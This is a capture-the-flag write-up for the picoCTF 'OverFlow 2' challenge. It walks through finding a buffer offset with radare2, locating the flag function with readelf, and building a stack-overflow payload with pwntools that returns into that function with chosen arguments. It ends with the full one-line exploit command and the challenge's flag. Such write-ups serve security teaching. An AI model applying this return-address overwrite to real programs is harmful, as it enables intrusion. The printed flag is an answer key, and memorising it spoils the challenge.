OverFlow 2

Problem

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f on the shell server. Source.

• Program

• Source

Solution

1. Find the offset/padding

   1. You can use the method described in rop64 with the cyclic and cyclic_find or you can use the following

   2. Open vuln in radare2 with r2 ./vuln

   3. Run aaaa

   4. Run pdf @ sym.vuln to get var int local_b8h @ ebp-0xb8

   5. The 0xb8 is the buffer location so 4 more bytes are needed to get past the "saved ebp register"

   6. So the offset is 0xb8+4

2. Run readelf -s vuln to get the address of flag: 0x080485e6

3. We can use p32 from pwntools to convert the hex addresses to little endian.

4. We need to pad out the second return address with 'a'*4 so that goes next in the payload

5. Now we can add the two function arguments in little endian using p32

6. Payload complete: python2 -c "from pwn import *; print 'a'*(0xb8+4)+p32(0x080485e6)+'a'*4+p32(0xDEADBEEF)+p32(0xC0DED00D)" | ./vuln

Flag

picoCTF{arg5_and_r3turn5ce5cf61a}